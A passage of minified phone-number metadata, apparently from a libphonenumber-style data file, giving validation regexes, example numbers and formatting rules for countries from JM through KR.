null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"JM",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"658|876",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],JO:[null,[null,null,"(?:(?:(?:[268]|7\\d)\\d|32|53)\\d|900)\\d{5}",null,null,null,null,null,null,[8,9]],[null,null,"(?:2(?:6(?:2[0-35-9]|3[0-578]|4[24-7]|5[0-24-8]|[6-8][023]|9[0-3])|7(?:0[1-79]|10|2[014-7]|3[0-689]|4[019]|5[0-3578]))|32(?:0[1-69]|1[1-35-7]|2[024-7]|3\\d|4[0-3]|[57][023]|6[03])|53(?:0[0-3]|[13][023]|2[0-59]|49|5[0-35-9]|6[15]|7[45]|8[1-6]|9[0-36-9])|6(?:2[05]0|3(?:00|33)|4(?:0[0-25]|1[2-7]|2[0569]|[38][07-9]|4[025689]|6[0-589]|7\\d|9[0-2])|5(?:[01][056]|2[034]|3[0-57-9]|4[178]|5[0-69]|6[0-35-9]|7[1-379]|8[0-68]|9[0239]))|87(?:[029]0|7[08]))\\d{4}",null,null,null,"62001234",null,null,[8]],[null,null,"7(?:55[0-49]|(?:7[025-9]|[89][0-25-9])\\d)\\d{5}",null,null,null,"790123456",null,null,[9]],[null,null,"80\\d{6}",null,null,null,"80012345",null,null,[8]],[null,null,"900\\d{5}",null,null,null,"90012345",null,null,[8]],[null,null,"85\\d{6}",null,null,null,"85012345",null,null,[8]],[null,null,"70\\d{7}",null,null,null,"700123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],"JO",962,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[2356]|87"],"(0$1)"],[null,"(\\d{3})(\\d{5,6})","$1 $2",["[89]"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["7[457-9]"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["7"],"0$1"]],null,[null,null,"74(?:66|77)\\d{5}",null,null,null,"746612345",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8(?:10|8\\d)\\d{5}",null,null,null,"88101234",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],JP:[null,[null,null,"00[1-9]\\d{6,14}|[257-9]\\d{9}|(?:00|[1-9]\\d\\d)\\d{6}",null,null,null,null,null,null,[8,9,10,11,12,13,14,15,16,17]],[null,null,"(?:1(?:1[235-8]|2[3-6]|3[3-9]|4[2-6]|[58][2-8]|6[2-7]|7[2-9]|9[1-9])|(?:2[2-9]|[36][1-9])\\d|4(?:[2-578]\\d|6[02-8]|9[2-59])|5(?:[2-589]\\d|6[1-9]|7[2-8])|7(?:[25-9]\\d|3[4-9]|4[02-9])|8(?:[2679]\\d|3[2-9]|4[5-9]|5[1-9]|8[03-9])|9(?:[2-58]\\d|[679][1-9]))\\d{6}",null,null,null,"312345678",null,null,[9]],[null,null,"[7-9]0[1-9]\\d{7}",null,null,null,"9012345678",null,null,[10]],[null,null,"(?:00(?:(?:37|66)\\d{4,11}|777(?:[01]|(?:5|8\\d)\\d)|882[1245]\\d\\d)|(?:120|800\\d)\\d{4})\\d\\d",null,null,null,"120123456"],[null,null,"990\\d{6}",null,null,null,"990123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"60\\d{7}",null,null,null,"601234567",null,null,[9]],[null,null,"50[1-9]\\d{7}",null,null,null,"5012345678",null,null,[10]],"JP",81,"010","0",null,null,"0",null,null,null,[[null,"(\\d{4})(\\d{4})","$1-$2",["007","0077","00777","00777[01]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3",["(?:12|57|99)0"],"0$1"],[null,"(\\d{4})(\\d)(\\d{4})","$1-$2-$3",["1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51|63)|9(?:49|80|9[16])","1(?:267|3(?:7[247]|9[278])|4(?:5[67]|66)|5(?:47|58|64|8[67])|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[78]|96)|477|51[24]|636)|9(?:496|802|9(?:1[23]|69))","1(?:267|3(?:7[247]|9[278])|4(?:5[67]|66)|5(?:47|58|64|8[67])|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[78]|96[2457-9])|477|51[24]|636[2-57-9])|9(?:496|802|9(?:1[23]|69))"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["1(?:[2-46]|5[2-8]|7[2-689]|8[2-7]|9[1-578])|2(?:2[03-689]|3[3-58]|4[0-468]|5[04-8]|6[013-8]|7[06-9]|8[02-57-9]|9[13])|4(?:2[28]|3[689]|6[035-7]|7[05689]|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9[4-9])|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9[014-9])|8(?:2[49]|3[3-8]|4[5-8]|5[2-9]|6[35-9]|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9[3-7])","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9[2-8])|3(?:[3-6][2-9]|7[2-6]|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5[4-7]|6[2-9]|8[2-8]|9[236-9])|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3[34]|4[2-69]|[5-7]))","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9(?:20|[3578]|4[04-9]|6[56]))|3(?:[3-6][2-9]|7(?:[2-5]|6[0-59])|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5(?:[467]|5[014-9])|6(?:[2-8]|9[02-69])|8[2-8]|9(?:[236-8]|9[23]))|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3(?:3[02-9]|4[0-24689])|4[2-69]|[5-7]))","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9(?:20|[3578]|4[04-9]|6(?:5[25]|60)))|3(?:[3-6][2-9]|7(?:[2-5]|6[0-59])|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5(?:[467]|5[014-9])|6(?:[2-8]|9[02-69])|8[2-8]|9(?:[236-8]|9[23]))|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3(?:3[02-9]|4[0-24689])|4[2-69]|[5-7]))"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["1|2(?:2[37]|5[5-9]|64|78|8[39]|91)|4(?:2[2689]|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93)","1|2(?:2[37]|5(?:[57]|[68]0|9[19])|64|78|8[39]|917)|4(?:2(?:20|[68]|9[178])|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93[34])","1|2(?:2[37]|5(?:[57]|[68]0|9(?:17|99))|64|78|8[39]|917)|4(?:2(?:20|[68]|9[178])|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93[34])"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["2(?:[34]7|[56]9|74|9[14-79])|82|993"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1-$2-$3",["[36]|4(?:2[09]|7[01])"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["2[2-9]|4|7[235-9]|9[49]"],"0$1"],[null,"(\\d{4})(\\d{2})(\\d{3,4})","$1-$2-$3",["007"]],[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["800"],"0$1"],[null,"(\\d{4})(\\d{2})(\\d{4})","$1-$2-$3",["008"]],[null,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[2579]|80"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3,4})","$1-$2-$3",["0"]],[null,"(\\d{4})(\\d{4})(\\d{4,5})","$1-$2-$3",["0"]],[null,"(\\d{4})(\\d{5})(\\d{5,6})","$1-$2-$3",["0"]],[null,"(\\d{4})(\\d{6})(\\d{6,7})","$1-$2-$3",["0"]]],[[null,"(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3",["(?:12|57|99)0"],"0$1"],[null,"(\\d{4})(\\d)(\\d{4})","$1-$2-$3",["1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51|63)|9(?:49|80|9[16])","1(?:267|3(?:7[247]|9[278])|4(?:5[67]|66)|5(?:47|58|64|8[67])|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[78]|96)|477|51[24]|636)|9(?:496|802|9(?:1[23]|69))","1(?:267|3(?:7[247]|9[278])|4(?:5[67]|66)|5(?:47|58|64|8[67])|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[78]|96[2457-9])|477|51[24]|636[2-57-9])|9(?:496|802|9(?:1[23]|69))"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["1(?:[2-46]|5[2-8]|7[2-689]|8[2-7]|9[1-578])|2(?:2[03-689]|3[3-58]|4[0-468]|5[04-8]|6[013-8]|7[06-9]|8[02-57-9]|9[13])|4(?:2[28]|3[689]|6[035-7]|7[05689]|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9[4-9])|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9[014-9])|8(?:2[49]|3[3-8]|4[5-8]|5[2-9]|6[35-9]|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9[3-7])","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9[2-8])|3(?:[3-6][2-9]|7[2-6]|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5[4-7]|6[2-9]|8[2-8]|9[236-9])|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3[34]|4[2-69]|[5-7]))","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9(?:20|[3578]|4[04-9]|6[56]))|3(?:[3-6][2-9]|7(?:[2-5]|6[0-59])|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5(?:[467]|5[014-9])|6(?:[2-8]|9[02-69])|8[2-8]|9(?:[236-8]|9[23]))|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3(?:3[02-9]|4[0-24689])|4[2-69]|[5-7]))","1(?:[2-46]|5(?:[236-8]|[45][2-69])|7[2-689]|8[2-7]|9[1-578])|2(?:2(?:[04-689]|3[23])|3[3-58]|4[0-468]|5(?:[0468][2-9]|5[78]|7[2-4])|6(?:[0135-8]|4[2-5])|7(?:[0679]|8[2-7])|8(?:[024578]|3[25-9]|9[6-9])|9(?:11|3[2-4]))|4(?:2(?:2[2-9]|8[237-9])|3[689]|6[035-7]|7(?:[059][2-8]|[68])|80|9[3-5])|5(?:3[1-36-9]|4[4578]|5[013-8]|[67]|8[14-7]|9(?:[4-7]|[89][2-8]))|7(?:2[15]|3[5-9]|4|6[135-8]|7[0-4689]|9(?:[017-9]|4[6-8]|5[2-478]|6[2-589]))|8(?:2(?:4[4-8]|9(?:20|[3578]|4[04-9]|6(?:5[25]|60)))|3(?:[3-6][2-9]|7(?:[2-5]|6[0-59])|8[2-5])|4[5-8]|5[2-9]|6(?:[37]|5(?:[467]|5[014-9])|6(?:[2-8]|9[02-69])|8[2-8]|9(?:[236-8]|9[23]))|7[579]|8[03-579]|9[2-8])|9(?:[23]0|4[02-46-9]|5[024-79]|6[4-9]|7[2-47-9]|8[02-7]|9(?:3(?:3[02-9]|4[0-24689])|4[2-69]|[5-7]))"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["1|2(?:2[37]|5[5-9]|64|78|8[39]|91)|4(?:2[2689]|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93)","1|2(?:2[37]|5(?:[57]|[68]0|9[19])|64|78|8[39]|917)|4(?:2(?:20|[68]|9[178])|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93[34])","1|2(?:2[37]|5(?:[57]|[68]0|9(?:17|99))|64|78|8[39]|917)|4(?:2(?:20|[68]|9[178])|64|7[347])|5[2-589]|60|8(?:2[124589]|3[279]|[46-9])|9(?:[235-8]|93[34])"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["2(?:[34]7|[56]9|74|9[14-79])|82|993"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1-$2-$3",["[36]|4(?:2[09]|7[01])"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["2[2-9]|4|7[235-9]|9[49]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["800"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[2579]|80"],"0$1"]],[null,null,"20\\d{8}",null,null,null,"2012345678",null,null,[10]],null,null,[null,null,"00(?:(?:37|66)\\d{4,11}|777(?:[01]|(?:5|8\\d)\\d)|882[1245]\\d\\d)\\d\\d"],[null,null,"570\\d{6}",null,null,null,"570123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
KE:[null,[null,null,"(?:(?:2|80)0\\d?|[4-7]\\d\\d|900)\\d{6}|[4-6]\\d{6,7}",null,null,null,null,null,null,[7,8,9,10]],[null,null,"20\\d{6,7}|(?:4[0-6]|5\\d|6[0-24-9])\\d{7}|(?:4[0245]|6[014-9])\\d{6}|5[1-79]\\d{5,6}|(?:4[245]|6[01457-9])\\d{5}",null,null,null,"202012345",null,null,[7,8,9]],[null,null,"7\\d{8}",null,null,null,"712123456",null,null,[9]],[null,null,"800[24-8]\\d{5,6}",null,null,null,"800223456",null,null,[9,10]],[null,null,"900[02-9]\\d{5}",null,null,null,"900223456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KE",254,"000","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{5,7})","$1 $2",["[24-6]"],"0$1"],[null,"(\\d{3})(\\d{6})","$1 $2",["7"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[89]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KG:[null,[null,null,"(?:[235-7]\\d|99)\\d{7}|800\\d{6,7}",null,null,null,null,null,null,[9,10],[5,6]],[null,null,"(?:3(?:1(?:[256]\\d|3[1-9]|47)|2(?:22|3[0-479]|6[0-7])|4(?:22|5[6-9]|6\\d)|5(?:22|3[4-7]|59|6\\d)|6(?:22|5[35-7]|6\\d)|7(?:22|3[468]|4[1-9]|59|[67]\\d)|9(?:22|4[1-8]|6\\d))|6(?:09|12|2[2-4])\\d)\\d{5}",null,null,null,"312123456",null,null,[9],[5,6]],[null,null,"(?:2(?:0[0-35]|2\\d)|5[0-24-7]\\d|7(?:[07]\\d|55)|99[69])\\d{6}",null,null,null,"700123456",null,null,[9]],[null,null,"800\\d{6,7}",null,null,null,"800123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KG",996,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[25-79]|31[25]"],"0$1"],[null,"(\\d{4})(\\d{5})","$1 $2",["3"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d)(\\d{2,3})","$1 $2 $3 $4",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KH:[null,[null,null,"1\\d{9}|[1-9]\\d{7,8}",null,null,null,null,null,null,[8,9,10],[6,7]],[null,null,"(?:2(?:3(?:4(?:[2-4]|[56]\\d)|[568]\\d\\d)|[4-6](?:4[56]|[56]\\d)\\d)|(?:3[2-6]|4[2-4]|[5-7][2-5])(?:4[56]|[56]\\d)\\d)\\d{4}|(?:2[3-6]|3[2-6]|4[2-4]|[5-7][2-5])[236-9]\\d{5}",null,null,null,"23756789",null,null,[8,9],[6,7]],[null,null,"(?:(?:(?:1[28]|9[67])\\d|8(?:[013-79]|8\\d))\\d|(?:2[3-6]|4[2-4]|[56][2-5])48|3(?:[18]\\d\\d|[2-6]48)|7(?:(?:[07-9]|[16]\\d)\\d|[2-5]48))\\d{5}|(?:1\\d|6[016-9]|9[0-57-9])\\d{6}",null,null,null,"91234567",null,null,[8,9]],[null,null,"1800(?:1\\d|2[019])\\d{4}",null,null,null,"1800123456",null,null,[10]],[null,null,"1900(?:1\\d|2[09])\\d{4}",null,null,null,"1900123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KH",855,"00[14-9]","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-9]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KI:[null,[null,null,"(?:[37]\\d|6[0-79])\\d{6}|(?:[2-48]\\d|50)\\d{3}",null,null,null,null,null,null,[5,8]],[null,null,"(?:[24]\\d|3[1-9]|50|65(?:02[12]|12[56]|22[89]|[3-5]00)|7(?:27\\d\\d|3100|5(?:02[12]|12[56]|22[89]|[34](?:00|81)|500))|8[0-5])\\d{3}",null,null,null,"31234"],[null,null,"(?:6(?:200[01]|30[01]\\d)|7(?:200[01]|3(?:0[0-5]\\d|140)))\\d{3}",null,null,null,"72001234",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"30(?:0[01]\\d\\d|12(?:11|20))\\d\\d",null,null,null,"30010000",null,null,[8]],"KI",686,"00","0",null,null,"0",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KM:[null,[null,null,"[3478]\\d{6}",null,null,null,null,null,null,[7]],[null,null,"7[4-7]\\d{5}",null,null,null,"7712345"],[null,null,"[34]\\d{6}",null,null,null,"3212345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8\\d{6}",null,null,null,"8001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KM",269,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[3478]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KN:[null,[null,null,"(?:[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"869(?:2(?:29|36)|302|4(?:6[015-9]|70))\\d{4}",null,null,null,"8692361234",null,null,null,[7]],[null,null,"869(?:5(?:5[6-8]|6[5-7])|66\\d|76[02-7])\\d{4}",null,null,null,"8697652917",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"KN",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"869",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KP:[null,[null,null,"(?:(?:19\\d|2)\\d|85)\\d{6}",null,null,null,null,null,null,[8,10],[6,7]],[null,null,"(?:2\\d|85)\\d{6}",null,null,null,"21234567",null,null,[8],[6,7]],[null,null,"19[1-3]\\d{7}",null,null,null,"1921234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"KP",850,"00|99","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["8"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"2(?:[0-24-9]\\d\\d|3(?:[0-79]\\d|8[02-9]))\\d{4}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],KR:[null,[null,null,"(?:00[1-9]\\d{2,4}|[12]|5\\d{3})\\d{7}|(?:(?:00|[13-6])\\d|70)\\d{8}|(?:[1-6]\\d|80)\\d{7}|[3-6]\\d{4,5}",null,null,null,null,null,null,[5,6,8,9,10,11,12,13,14],[3,7]],[null,null,"2[1-9]\\d{6,7}|(?:3[1-3]|[46][1-4]|5[1-5])(?:1\\d{2,3}|[1-9]\\d{6,7})",null,null,null,"22123456",null,null,[5,6,8,9,10],[3,7]],[null,null,"1[0-26-9]\\d{7,8}",null,null,null,"1000000000",null,null,[9,10]],[null,null,"(?:00(?:3(?:08|68\\d)|798\\d{1,3})|80\\d)\\d{6}",null,null,null,"801234567",null,null,[9,11,12,13,14]],[null,null,"60[2-9]\\d{6}",null,null,null,"602345678",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"50\\d{8,9}",null,null,null,"5012345678",null,null,[10,11]],[null,null,"70\\d{8}",null,null,null,"7012345678",null,null,[10]],"KR",82,"00(?:[125689]|3(?:[46]5|91)|7(?:00|27|3|55|6[126]))","0",null,null,"0(8[1-46-8]|85\\d{2})?",null,null,null,[[null,"(\\d{2})(\\d{3,4})","$1-$2",["(?:3[1-3]|[46][1-4]|5[1-5])1"],"0$1","0$CC-$1"],[null,"(\\d{4})(\\d{4})","$1-$2",["1(?:5[246-9]|6[046-8]|8[03579])","1(?:5(?:22|44|66|77|88|99)|6(?:[07]0|44|6[16]|88)|8(?:00|33|55|77|99))"],"$1","0$CC-$1"],[null,"(\\d{5})","$1",["1[016-9]1","1[016-9]11","1[016-9]114"],"0$1","0$CC-$1"],[null,"(\\d)(\\d{3,4})(\\d{4})","$1-$2-$3",["2[1-9]"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["60[2-9]|80"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{3,4})(\\d{4})","$1-$2-$3",["1[0-25-9]|(?:3[1-3]|[46][1-4]|5[1-5])[1-9]"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[57]0"],"0$1","0$CC-$1"],[null,"(\\d{2})(\\d{5})(\\d{4})","$1-$2-$3",["50"],"0$1","0$CC-$1"],[null,"(\\d{5})(\\d{3})(\\d{3})","$1 $2 $3",["003","0030","00308"],"$1","0$CC-$1"],[null,"(\\d{5})(\\d{3,4})(\\d{4})","$1 $2 $3",["00[37]","00(?:36|79)","00(?:36|79)8"],"$1","0$CC-$1"],[null,"(\\d{5})(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3 